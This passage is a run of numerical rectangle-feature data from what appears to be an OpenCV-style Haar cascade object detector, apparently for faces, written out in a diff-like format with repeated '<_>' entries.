-1. + <_> + 6 9 12 2 3. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 7 8 9 7 -1. + <_> + 10 8 3 7 3. + <_> + + <_> + 10 4 8 10 -1. + <_> + 14 4 4 5 2. + <_> + 10 9 4 5 2. + <_> + + <_> + 4 6 6 9 -1. + <_> + 4 9 6 3 3. + <_> + + <_> + 0 6 24 12 -1. + <_> + 8 6 8 12 3. + <_> + + <_> + 3 7 6 14 -1. + <_> + 6 7 3 14 2. + <_> + + <_> + 19 8 5 8 -1. + <_> + 19 12 5 4 2. + <_> + + <_> + 0 8 5 8 -1. + <_> + 0 12 5 4 2. + <_> + + <_> + 17 3 6 6 -1. + <_> + 17 6 6 3 2. + <_> + + <_> + 1 3 6 6 -1. + <_> + 1 6 6 3 2. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 3 3 18 6 -1. + <_> + 3 5 18 2 3. + <_> + + <_> + 2 3 9 6 -1. + <_> + 2 5 9 2 3. + <_> + + <_> + 9 3 10 8 -1. + <_> + 14 3 5 4 2. + <_> + 9 7 5 4 2. + <_> + + <_> + 5 3 10 8 -1. + <_> + 5 3 5 4 2. + <_> + 10 7 5 4 2. + <_> + + <_> + 10 11 6 12 -1. + <_> + 10 11 3 12 2. + <_> + + <_> + 8 11 6 11 -1. + <_> + 11 11 3 11 2. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 8 5 4 2. + <_> + + <_> + 9 6 6 7 -1. + <_> + 12 6 3 7 2. + <_> + + <_> + 5 18 18 3 -1. + <_> + 5 19 18 1 3. + <_> + + <_> + 8 4 6 9 -1. + <_> + 10 4 2 9 3. + <_> + + <_> + 8 1 9 7 -1. + <_> + 11 1 3 7 3. + <_> + + <_> + 6 11 6 6 -1. + <_> + 9 11 3 6 2. + <_> + + <_> + 14 12 4 11 -1. + <_> + 14 12 2 11 2. + <_> + + <_> + 6 12 4 11 -1. + <_> + 8 12 2 11 2. + <_> + + <_> + 8 0 12 18 -1. + <_> + 12 0 4 18 3. + <_> + + <_> + 2 12 10 5 -1. + <_> + 7 12 5 5 2. + <_> + + <_> + 2 20 22 3 -1. + <_> + 2 21 22 1 3. + <_> + + <_> + 0 4 2 20 -1. + <_> + 1 4 1 20 2. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 10 10 2 2. + <_> + + <_> + 6 7 8 10 -1. + <_> + 6 7 4 5 2. + <_> + 10 12 4 5 2. + <_> + + <_> + 14 0 6 14 -1. + <_> + 17 0 3 7 2. + <_> + 14 7 3 7 2. + <_> + + <_> + 4 11 5 8 -1. + <_> + 4 15 5 4 2. + <_> + + <_> + 2 0 20 9 -1. + <_> + 2 3 20 3 3. + <_> + + <_> + 6 7 12 8 -1. + <_> + 6 7 6 4 2. + <_> + 12 11 6 4 2. + <_> + + <_> + 9 17 6 6 -1. + <_> + 9 20 6 3 2. + <_> + + <_> + 7 10 10 4 -1. + <_> + 7 12 10 2 2. + <_> + + <_> + 6 5 12 9 -1. + <_> + 10 5 4 9 3. + <_> + + <_> + 5 11 6 8 -1. + <_> + 8 11 3 8 2. + <_> + + <_> + 18 4 4 17 -1. + <_> + 18 4 2 17 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 18 4 4 17 -1. + <_> + 18 4 2 17 2. + <_> + + <_> + 2 4 4 17 -1. + <_> + 4 4 2 17 2. + <_> + + <_> + 5 18 19 3 -1. + <_> + 5 19 19 1 3. + <_> + + <_> + 11 0 2 18 -1. + <_> + 11 9 2 9 2. + <_> + + <_> + 15 4 2 18 -1. + <_> + 15 13 2 9 2. + <_> + + <_> + 7 4 2 18 -1. + <_> + 7 13 2 9 2. + <_> + + <_> + 7 11 10 8 -1. + <_> + 12 11 5 4 2. + <_> + 7 15 5 4 2. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 2 9 16 8 -1. + <_> + 2 9 8 4 2. + <_> + 10 13 8 4 2. + <_> + + <_> + 14 15 6 9 -1. + <_> + 14 18 6 3 3. + <_> + + <_> + 8 7 6 9 -1. + <_> + 10 7 2 9 3. + <_> + + <_> + 14 15 6 9 -1. + <_> + 14 18 6 3 3. + <_> + + <_> + 3 12 12 6 -1. + <_> + 3 14 12 2 3. + <_> + + <_> + 14 12 9 6 -1. + <_> + 14 14 9 2 3. + <_> + + <_> + 1 12 9 6 -1. + <_> + 1 14 9 2 3. + <_> + + <_> + 3 7 18 3 -1. + <_> + 3 8 18 1 3. + <_> + + <_> + 1 7 22 6 -1. + <_> + 1 9 22 2 3. + <_> + + <_> + 18 4 6 6 -1. + <_> + 18 7 6 3 2. + <_> + + <_> + 0 4 6 6 -1. + <_> + 0 7 6 3 2. + <_> + + <_> + 5 11 16 6 -1. + <_> + 5 14 16 3 2. + <_> + + <_> + 6 16 9 4 -1. + <_> + 6 18 9 2 2. + <_> + + <_> + 14 15 6 9 -1. + <_> + 14 18 6 3 3. + <_> + + <_> + 4 15 6 9 -1. + <_> + 4 18 6 3 3. + <_> + + <_> + 15 1 6 23 -1. + <_> + 17 1 2 23 3. + <_> + + <_> + 0 21 24 3 -1. + <_> + 8 21 8 3 3. + <_> + + <_> + 0 20 24 4 -1. + <_> + 8 20 8 4 3. + <_> + + <_> + 3 1 6 23 -1. + <_> + 5 1 2 23 3. + <_> + + <_> + 3 17 18 3 -1. + <_> + 3 18 18 1 3. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 1 16 22 4 -1. + <_> + 12 16 11 2 2. + <_> + 1 18 11 2 2. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 2 10 21 3 -1. + <_> + 9 10 7 3 3. + <_> + + <_> + 2 18 12 6 -1. + <_> + 2 18 6 3 2. + <_> + 8 21 6 3 2. + <_> + + <_> + 0 5 24 4 -1. + <_> + 0 7 24 2 2. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 10 7 6 12 -1. + <_> + 10 13 6 6 2. + <_> + + <_> + 6 6 6 9 -1. + <_> + 8 6 2 9 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 9 7 6 9 -1. + <_> + 11 7 2 9 3. + <_> + + <_> + 2 1 20 3 -1. + <_> + 2 2 20 1 3. + <_> + + <_> + 1 18 12 6 -1. + <_> + 1 18 6 3 2. + <_> + 7 21 6 3 2. + <_> + + <_> + 13 2 4 13 -1. + <_> + 13 2 2 13 2. + <_> + + <_> + 6 7 12 4 -1. + <_> + 12 7 6 4 2. + <_> + + <_> + 10 1 4 13 -1. + <_> + 10 1 2 13 2. + <_> + + <_> + 6 0 3 18 -1. + <_> + 7 0 1 18 3. + <_> + + <_> + 14 3 10 5 -1. + <_> + 14 3 5 5 2. + <_> + + <_> + 6 15 12 8 -1. + <_> + 10 15 4 8 3. + <_> + + <_> + 9 10 6 9 -1. + <_> + 11 10 2 9 3. + <_> + + <_> + 8 3 4 9 -1. + <_> + 10 3 2 9 2. + <_> + + <_> + 17 0 6 14 -1. + <_> + 20 0 3 7 2. + <_> + 17 7 3 7 2. + <_> + + <_> + 1 0 6 14 -1. + <_> + 1 0 3 7 2. + <_> + 4 7 3 7 2. + <_> + + <_> + 14 0 6 16 -1. + <_> + 17 0 3 8 2. + <_> + 14 8 3 8 2. + <_> + + <_> + 7 4 4 10 -1. + <_> + 9 4 2 10 2. + <_> + + <_> + 3 17 18 6 -1. + <_> + 12 17 9 3 2. + <_> + 3 20 9 3 2. + <_> + + <_> + 1 20 22 4 -1. + <_> + 12 20 11 4 2. + <_> + + <_> + 14 3 10 5 -1. + <_> + 14 3 5 5 2. + <_> + + <_> + 0 3 10 5 -1. + <_> + 5 3 5 5 2. + <_> + + <_> + 12 6 12 16 -1. + <_> + 16 6 4 16 3. + <_> + + <_> + 0 6 12 16 -1. + <_> + 4 6 4 16 3. + <_> + + <_> + 10 9 5 15 -1. + <_> + 10 14 5 5 3. + <_> + + <_> + 1 18 21 2 -1. + <_> + 1 19 21 1 2. + <_> + + <_> + 15 0 9 6 -1. + <_> + 15 2 9 2 3. + <_> + + <_> + 6 1 12 4 -1. + <_> + 12 1 6 4 2. + <_> + + <_> + 6 0 12 12 -1. + <_> + 12 0 6 6 2. + <_> + 6 6 6 6 2. + <_> + + <_> + 8 10 8 12 -1. + <_> + 8 10 4 6 2. + <_> + 12 16 4 6 2. + <_> + + <_> + 14 16 10 8 -1. + <_> + 19 16 5 4 2. + <_> + 14 20 5 4 2. + <_> + + <_> + 0 16 10 8 -1. + <_> + 0 16 5 4 2. + <_> + 5 20 5 4 2. + <_> + + <_> + 10 12 12 5 -1. + <_> + 14 12 4 5 3. + <_> + + <_> + 6 16 10 8 -1. + <_> + 6 16 5 4 2. + <_> + 11 20 5 4 2. + <_> + + <_> + 7 6 12 6 -1. + <_> + 13 6 6 3 2. + <_> + 7 9 6 3 2. + <_> + + <_> + 9 6 4 18 -1. + <_> + 9 6 2 9 2. + <_> + 11 15 2 9 2. + <_> + + <_> + 10 9 6 14 -1. + <_> + 13 9 3 7 2. + <_> + 10 16 3 7 2. + <_> + + <_> + 8 9 6 14 -1. + <_> + 8 9 3 7 2. + <_> + 11 16 3 7 2. + <_> + + <_> + 7 4 11 12 -1. + <_> + 7 10 11 6 2. + <_> + + <_> + 4 8 6 16 -1. + <_> + 4 8 3 8 2. + <_> + 7 16 3 8 2. + <_> + + <_> + 17 3 4 21 -1. + <_> + 17 10 4 7 3. + <_> + + <_> + 3 3 4 21 -1. + <_> + 3 10 4 7 3. + <_> + + <_> + 10 1 8 18 -1. + <_> + 14 1 4 9 2. + <_> + 10 10 4 9 2. + <_> + + <_> + 2 5 16 8 -1. + <_> + 2 5 8 4 2. + <_> + 10 9 8 4 2. + <_> + + <_> + 3 6 18 12 -1. + <_> + 3 10 18 4 3. + <_> + + <_> + 4 10 16 12 -1. + <_> + 4 14 16 4 3. + <_> + + <_> + 15 4 8 20 -1. + <_> + 19 4 4 10 2. + <_> + 15 14 4 10 2. + <_> + + <_> + 7 2 9 6 -1. + <_> + 10 2 3 6 3. + <_> + + <_> + 15 4 8 20 -1. + <_> + 19 4 4 10 2. + <_> + 15 14 4 10 2. + <_> + + <_> + 1 4 8 20 -1. + <_> + 1 4 4 10 2. + <_> + 5 14 4 10 2. + <_> + + <_> + 11 8 8 14 -1. + <_> + 15 8 4 7 2. + <_> + 11 15 4 7 2. + <_> + + <_> + 5 8 8 14 -1. + <_> + 5 8 4 7 2. + <_> + 9 15 4 7 2. + <_> + + <_> + 10 13 5 8 -1. + <_> + 10 17 5 4 2. + <_> + + <_> + 4 13 7 9 -1. + <_> + 4 16 7 3 3. + <_> + + <_> + 0 13 24 10 -1. + <_> + 0 18 24 5 2. + <_> + + <_> + 4 2 8 11 -1. + <_> + 8 2 4 11 2. + <_> + + <_> + 10 2 8 16 -1. + <_> + 14 2 4 8 2. + <_> + 10 10 4 8 2. + <_> + + <_> + 0 2 24 6 -1. + <_> + 0 2 12 3 2. + <_> + 12 5 12 3 2. + <_> + + <_> + 6 0 12 9 -1. + <_> + 6 3 12 3 3. + <_> + + <_> + 1 2 12 12 -1. + <_> + 1 2 6 6 2. + <_> + 7 8 6 6 2. + <_> + + <_> + 18 5 6 9 -1. + <_> + 18 8 6 3 3. + <_> + + <_> + 4 3 8 10 -1. + <_> + 4 3 4 5 2. + <_> + 8 8 4 5 2. + <_> + + <_> + 6 21 18 3 -1. + <_> + 6 22 18 1 3. + <_> + + <_> + 1 10 18 2 -1. + <_> + 1 11 18 1 2. + <_> + + <_> + 1 10 22 3 -1. + <_> + 1 11 22 1 3. + <_> + + <_> + 2 8 12 9 -1. + <_> + 2 11 12 3 3. + <_> + + <_> + 12 8 12 6 -1. + <_> + 18 8 6 3 2. + <_> + 12 11 6 3 2. + <_> + + <_> + 0 8 12 6 -1. + <_> + 0 8 6 3 2. + <_> + 6 11 6 3 2. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 7 13 9 6 -1. + <_> + 7 15 9 2 3. + <_> + + <_> + 9 8 7 12 -1. + <_> + 9 14 7 6 2. + <_> + + <_> + 4 13 9 6 -1. + <_> + 7 13 3 6 3. + <_> + + <_> + 6 15 18 4 -1. + <_> + 12 15 6 4 3. + <_> + + <_> + 5 4 4 16 -1. + <_> + 7 4 2 16 2. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 8 15 6 9 -1. + <_> + 10 15 2 9 3. + <_> + + <_> + 9 11 12 10 -1. + <_> + 15 11 6 5 2. + <_> + 9 16 6 5 2. + <_> + + <_> + 3 6 14 6 -1. + <_> + 3 8 14 2 3. + <_> + + <_> + 4 2 17 8 -1. + <_> + 4 6 17 4 2. + <_> + + <_> + 6 2 12 21 -1. + <_> + 6 9 12 7 3. + <_> + + <_> + 8 1 9 9 -1. + <_> + 8 4 9 3 3. + <_> + + <_> + 0 7 24 3 -1. + <_> + 12 7 12 3 2. + <_> + + <_> + 11 6 9 10 -1. + <_> + 11 11 9 5 2. + <_> + + <_> + 2 11 18 3 -1. + <_> + 2 12 18 1 3. + <_> + + <_> + 8 16 9 4 -1. + <_> + 8 18 9 2 2. + <_> + + <_> + 0 0 9 6 -1. + <_> + 0 2 9 2 3. + <_> + + <_> + 0 11 24 6 -1. + <_> + 0 13 24 2 3. + <_> + + <_> + 2 9 20 6 -1. + <_> + 2 12 20 3 2. + <_> + + <_> + 4 5 16 12 -1. + <_> + 12 5 8 6 2. + <_> + 4 11 8 6 2. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 7 3 10 4 -1. + <_> + 7 5 10 2 2. + <_> + + <_> + 9 15 6 8 -1. + <_> + 9 19 6 4 2. + <_> + + <_> + 17 0 7 10 -1. + <_> + 17 5 7 5 2. + <_> + + <_> + 0 0 7 10 -1. + <_> + 0 5 7 5 2. + <_> + + <_> + 16 1 6 12 -1. + <_> + 19 1 3 6 2. + <_> + 16 7 3 6 2. + <_> + + <_> + 1 0 19 8 -1. + <_> + 1 4 19 4 2. + <_> + + <_> + 12 2 9 4 -1. + <_> + 12 4 9 2 2. + <_> + + <_> + 3 2 9 4 -1. + <_> + 3 4 9 2 2. + <_> + + <_> + 12 2 10 6 -1. + <_> + 12 4 10 2 3. + <_> + + <_> + 3 4 18 2 -1. + <_> + 12 4 9 2 2. + <_> + + <_> + 12 1 4 9 -1. + <_> + 12 1 2 9 2. + <_> + + <_> + 8 1 4 9 -1. + <_> + 10 1 2 9 2. + <_> + + <_> + 10 5 8 10 -1. + <_> + 14 5 4 5 2. + <_> + 10 10 4 5 2. + <_> + + <_> + 6 4 12 13 -1. + <_> + 10 4 4 13 3. + <_> + + <_> + 13 5 6 6 -1. + <_> + 13 5 3 6 2. + <_> + + <_> + 1 5 12 3 -1. + <_> + 7 5 6 3 2. + <_> + + <_> + 7 5 10 6 -1. + <_> + 7 7 10 2 3. + <_> + + <_> + 2 0 21 5 -1. + <_> + 9 0 7 5 3. + <_> + + <_> + 0 8 9 9 -1. + <_> + 0 11 9 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 0 3 6 7 -1. + <_> + 3 3 3 7 2. + <_> + + <_> + 9 18 12 6 -1. + <_> + 15 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 2 8 20 6 -1. + <_> + 2 8 10 3 2. + <_> + 12 11 10 3 2. + <_> + + <_> + 13 2 10 4 -1. + <_> + 13 4 10 2 2. + <_> + + <_> + 4 5 5 18 -1. + <_> + 4 11 5 6 3. + <_> + + <_> + 20 4 4 9 -1. + <_> + 20 4 2 9 2. + <_> + + <_> + 8 6 8 14 -1. + <_> + 8 13 8 7 2. + <_> + + <_> + 0 1 24 6 -1. + <_> + 12 1 12 3 2. + <_> + 0 4 12 3 2. + <_> + + <_> + 0 4 4 9 -1. + <_> + 2 4 2 9 2. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 3 17 16 6 -1. + <_> + 3 19 16 2 3. + <_> + + <_> + 13 6 6 9 -1. + <_> + 13 9 6 3 3. + <_> + + <_> + 5 6 14 6 -1. + <_> + 5 6 7 3 2. + <_> + 12 9 7 3 2. + <_> + + <_> + 13 5 8 10 -1. + <_> + 17 5 4 5 2. + <_> + 13 10 4 5 2. + <_> + + <_> + 2 2 20 3 -1. + <_> + 2 3 20 1 3. + <_> + + <_> + 9 2 9 6 -1. + <_> + 12 2 3 6 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 12 3 4 11 -1. + <_> + 12 3 2 11 2. + <_> + + <_> + 8 3 4 11 -1. + <_> + 10 3 2 11 2. + <_> + + <_> + 8 3 8 10 -1. + <_> + 12 3 4 5 2. + <_> + 8 8 4 5 2. + <_> + + <_> + 11 1 2 18 -1. + <_> + 12 1 1 18 2. + <_> + + <_> + 9 2 9 6 -1. + <_> + 12 2 3 6 3. + <_> + + <_> + 0 2 19 3 -1. + <_> + 0 3 19 1 3. + <_> + + <_> + 9 14 9 6 -1. + <_> + 9 16 9 2 3. + <_> + + <_> + 1 8 18 5 -1. + <_> + 7 8 6 5 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 13 6 4 15 -1. + <_> + 13 11 4 5 3. + <_> + + <_> + 1 5 18 3 -1. + <_> + 1 6 18 1 3. + <_> + + <_> + 9 7 14 6 -1. + <_> + 9 9 14 2 3. + <_> + + <_> + 2 16 18 3 -1. + <_> + 2 17 18 1 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 8 12 6 -1. + <_> + 0 8 6 3 2. + <_> + 6 11 6 3 2. + <_> + + <_> + 9 13 7 8 -1. + <_> + 9 17 7 4 2. + <_> + + <_> + 2 17 20 3 -1. + <_> + 2 18 20 1 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 4 0 15 4 -1. + <_> + 4 2 15 2 2. + <_> + + <_> + 17 2 6 6 -1. + <_> + 17 5 6 3 2. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 17 9 6 -1. + <_> + 0 19 9 2 3. + <_> + + <_> + 9 18 12 6 -1. + <_> + 15 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 3 15 6 9 -1. + <_> + 3 18 6 3 3. + <_> + + <_> + 16 13 8 10 -1. + <_> + 20 13 4 5 2. + <_> + 16 18 4 5 2. + <_> + + <_> + 0 14 24 4 -1. + <_> + 8 14 8 4 3. + <_> + + <_> + 13 18 6 6 -1. + <_> + 13 18 3 6 2. + <_> + + <_> + 0 13 8 10 -1. + <_> + 0 13 4 5 2. + <_> + 4 18 4 5 2. + <_> + + <_> + 0 14 24 6 -1. + <_> + 0 17 24 3 2. + <_> + + <_> + 5 2 12 8 -1. + <_> + 5 2 6 4 2. + <_> + 11 6 6 4 2. + <_> + + <_> + 8 9 9 6 -1. + <_> + 11 9 3 6 3. + <_> + + <_> + 4 3 16 4 -1. + <_> + 4 5 16 2 2. + <_> + + <_> + 10 2 4 10 -1. + <_> + 10 7 4 5 2. + <_> + + <_> + 8 4 5 8 -1. + <_> + 8 8 5 4 2. + <_> + + <_> + 11 5 9 12 -1. + <_> + 11 9 9 4 3. + <_> + + <_> + 4 5 9 12 -1. + <_> + 4 9 9 4 3. + <_> + + <_> + 14 6 6 9 -1. + <_> + 14 9 6 3 3. + <_> + + <_> + 2 4 20 12 -1. + <_> + 2 8 20 4 3. + <_> + + <_> + 4 4 17 16 -1. + <_> + 4 12 17 8 2. + <_> + + <_> + 8 7 7 6 -1. + <_> + 8 10 7 3 2. + <_> + + <_> + 1 9 23 2 -1. + <_> + 1 10 23 1 2. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 13 3 4 9 -1. + <_> + 13 3 2 9 2. + <_> + + <_> + 8 1 6 13 -1. + <_> + 10 1 2 13 3. + <_> + + <_> + 4 22 18 2 -1. + <_> + 4 23 18 1 2. + <_> + + <_> + 3 10 9 6 -1. + <_> + 6 10 3 6 3. + <_> + + <_> + 14 0 2 24 -1. + <_> + 14 0 1 24 2. + <_> + + <_> + 8 0 2 24 -1. + <_> + 9 0 1 24 2. + <_> + + <_> + 3 2 18 10 -1. + <_> + 9 2 6 10 3. + <_> + + <_> + 4 13 15 6 -1. + <_> + 9 13 5 6 3. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 9 1 4 11 -1. + <_> + 11 1 2 11 2. + <_> + + <_> + 9 7 10 4 -1. + <_> + 9 7 5 4 2. + <_> + + <_> + 7 0 10 18 -1. + <_> + 12 0 5 18 2. + <_> + + <_> + 12 1 6 16 -1. + <_> + 14 1 2 16 3. + <_> + + <_> + 6 1 6 16 -1. + <_> + 8 1 2 16 3. + <_> + + <_> + 18 2 6 6 -1. + <_> + 18 5 6 3 2. + <_> + + <_> + 3 5 18 2 -1. + <_> + 3 6 18 1 2. + <_> + + <_> + 18 2 6 6 -1. + <_> + 18 5 6 3 2. + <_> + + <_> + 0 2 6 6 -1. + <_> + 0 5 6 3 2. + <_> + + <_> + 13 11 11 6 -1. + <_> + 13 13 11 2 3. + <_> + + <_> + 5 7 10 4 -1. + <_> + 10 7 5 4 2. + <_> + + <_> + 11 9 10 7 -1. + <_> + 11 9 5 7 2. + <_> + + <_> + 3 9 10 7 -1. + <_> + 8 9 5 7 2. + <_> + + <_> + 16 4 6 6 -1. + <_> + 16 4 3 6 2. + <_> + + <_> + 5 6 10 8 -1. + <_> + 5 6 5 4 2. + <_> + 10 10 5 4 2. + <_> + + <_> + 7 21 16 3 -1. + <_> + 7 21 8 3 2. + <_> + + <_> + 1 21 16 3 -1. + <_> + 9 21 8 3 2. + <_> + + <_> + 2 5 22 14 -1. + <_> + 13 5 11 7 2. + <_> + 2 12 11 7 2. + <_> + + <_> + 3 10 8 10 -1. + <_> + 3 10 4 5 2. + <_> + 7 15 4 5 2. + <_> + + <_> + 17 0 6 12 -1. + <_> + 20 0 3 6 2. + <_> + 17 6 3 6 2. + <_> + + <_> + 5 2 6 18 -1. + <_> + 7 2 2 18 3. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 0 12 7 9 -1. + <_> + 0 15 7 3 3. + <_> + + <_> + 15 13 8 10 -1. + <_> + 19 13 4 5 2. + <_> + 15 18 4 5 2. + <_> + + <_> + 1 0 6 12 -1. + <_> + 1 0 3 6 2. + <_> + 4 6 3 6 2. + <_> + + <_> + 12 1 3 12 -1. + <_> + 12 7 3 6 2. + <_> + + <_> + 1 13 8 10 -1. + <_> + 1 13 4 5 2. + <_> + 5 18 4 5 2. + <_> + + <_> + 3 21 19 2 -1. + <_> + 3 22 19 1 2. + <_> + + <_> + 6 3 4 13 -1. + <_> + 8 3 2 13 2. + <_> + + <_> + 5 10 18 3 -1. + <_> + 5 11 18 1 3. + <_> + + <_> + 9 3 5 12 -1. + <_> + 9 7 5 4 3. + <_> + + <_> + 11 2 4 15 -1. + <_> + 11 7 4 5 3. + <_> + + <_> + 4 1 16 4 -1. + <_> + 4 3 16 2 2. + <_> + + <_> + 6 0 18 3 -1. + <_> + 6 1 18 1 3. + <_> + + <_> + 5 1 10 8 -1. + <_> + 5 1 5 4 2. + <_> + 10 5 5 4 2. + <_> + + <_> + 11 18 12 6 -1. + <_> + 17 18 6 3 2. + <_> + 11 21 6 3 2. + <_> + + <_> + 5 15 12 3 -1. + <_> + 11 15 6 3 2. + <_> + + <_> + 1 10 22 4 -1. + <_> + 1 10 11 4 2. + <_> + + <_> + 7 9 9 6 -1. + <_> + 10 9 3 6 3. + <_> + + <_> + 6 11 12 5 -1. + <_> + 10 11 4 5 3. + <_> + + <_> + 6 7 10 7 -1. + <_> + 11 7 5 7 2. + <_> + + <_> + 11 2 8 10 -1. + <_> + 11 2 4 10 2. + <_> + + <_> + 5 2 8 10 -1. + <_> + 9 2 4 10 2. + <_> + + <_> + 6 4 18 6 -1. + <_> + 15 4 9 3 2. + <_> + 6 7 9 3 2. + <_> + + <_> + 0 5 10 9 -1. + <_> + 0 8 10 3 3. + <_> + + <_> + 2 7 21 6 -1. + <_> + 2 9 21 2 3. + <_> + + <_> + 0 4 22 16 -1. + <_> + 0 4 11 8 2. + <_> + 11 12 11 8 2. + <_> + + <_> + 9 0 6 22 -1. + <_> + 9 11 6 11 2. + <_> + + <_> + 9 1 3 12 -1. + <_> + 9 7 3 6 2. + <_> + + <_> + 12 0 12 18 -1. + <_> + 18 0 6 9 2. + <_> + 12 9 6 9 2. + <_> + + <_> + 0 0 12 18 -1. + <_> + 0 0 6 9 2. + <_> + 6 9 6 9 2. + <_> + + <_> + 1 1 22 4 -1. + <_> + 12 1 11 2 2. + <_> + 1 3 11 2 2. + <_> + + <_> + 3 0 18 4 -1. + <_> + 3 2 18 2 2. + <_> + + <_> + 2 5 22 6 -1. + <_> + 2 7 22 2 3. + <_> + + <_> + 5 0 6 9 -1. + <_> + 5 3 6 3 3. + <_> + + <_> + 10 14 6 9 -1. + <_> + 12 14 2 9 3. + <_> + + <_> + 8 14 6 9 -1. + <_> + 10 14 2 9 3. + <_> + + <_> + 5 18 18 3 -1. + <_> + 5 19 18 1 3. + <_> + + <_> + 6 0 6 13 -1. + <_> + 9 0 3 13 2. + <_> + + <_> + 7 4 12 4 -1. + <_> + 7 4 6 4 2. + <_> + + <_> + 5 2 12 6 -1. + <_> + 9 2 4 6 3. + <_> + + <_> + 4 1 18 3 -1. + <_> + 4 2 18 1 3. + <_> + + <_> + 0 8 6 12 -1. + <_> + 0 12 6 4 3. + <_> + + <_> + 9 15 6 9 -1. + <_> + 11 15 2 9 3. + <_> + + <_> + 9 10 6 13 -1. + <_> + 11 10 2 13 3. + <_> + + <_> + 6 17 18 2 -1. + <_> + 6 18 18 1 2. + <_> + + <_> + 9 4 6 9 -1. + <_> + 11 4 2 9 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 5 6 10 8 -1. + <_> + 5 6 5 4 2. + <_> + 10 10 5 4 2. + <_> + + <_> + 14 9 5 8 -1. + <_> + 14 13 5 4 2. + <_> + + <_> + 5 9 5 8 -1. + <_> + 5 13 5 4 2. + <_> + + <_> + 14 11 9 6 -1. + <_> + 14 13 9 2 3. + <_> + + <_> + 0 2 23 15 -1. + <_> + 0 7 23 5 3. + <_> + + <_> + 16 0 8 12 -1. + <_> + 16 6 8 6 2. + <_> + + <_> + 4 15 6 9 -1. + <_> + 4 18 6 3 3. + <_> + + <_> + 8 18 9 4 -1. + <_> + 8 20 9 2 2. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 13 11 11 6 -1. + <_> + 13 13 11 2 3. + <_> + + <_> + 0 11 11 6 -1. + <_> + 0 13 11 2 3. + <_> + + <_> + 0 9 24 6 -1. + <_> + 12 9 12 3 2. + <_> + 0 12 12 3 2. + <_> + + <_> + 6 16 8 8 -1. + <_> + 6 20 8 4 2. + <_> + + <_> + 10 16 14 6 -1. + <_> + 10 18 14 2 3. + <_> + + <_> + 1 1 21 3 -1. + <_> + 1 2 21 1 3. + <_> + + <_> + 0 2 24 3 -1. + <_> + 0 2 12 3 2. + <_> + + <_> + 2 15 8 5 -1. + <_> + 6 15 4 5 2. + <_> + + <_> + 2 11 21 3 -1. + <_> + 9 11 7 3 3. + <_> + + <_> + 1 18 12 6 -1. + <_> + 1 18 6 3 2. + <_> + 7 21 6 3 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 7 7 4 10 -1. + <_> + 7 12 4 5 2. + <_> + + <_> + 9 8 6 12 -1. + <_> + 9 12 6 4 3. + <_> + + <_> + 7 1 9 6 -1. + <_> + 10 1 3 6 3. + <_> + + <_> + 3 14 19 2 -1. + <_> + 3 15 19 1 2. + <_> + + <_> + 7 7 10 10 -1. + <_> + 7 7 5 5 2. + <_> + 12 12 5 5 2. + <_> + + <_> + 3 12 18 12 -1. + <_> + 3 12 9 12 2. + <_> + + <_> + 8 0 6 12 -1. + <_> + 10 0 2 12 3. + <_> + + <_> + 3 0 17 9 -1. + <_> + 3 3 17 3 3. + <_> + + <_> + 6 0 12 11 -1. + <_> + 10 0 4 11 3. + <_> + + <_> + 1 0 6 13 -1. + <_> + 4 0 3 13 2. + <_> + + <_> + 5 8 16 6 -1. + <_> + 5 11 16 3 2. + <_> + + <_> + 8 8 5 12 -1. + <_> + 8 14 5 6 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 2 0 20 3 -1. + <_> + 2 1 20 1 3. + <_> + + <_> + 4 6 15 10 -1. + <_> + 9 6 5 10 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 9 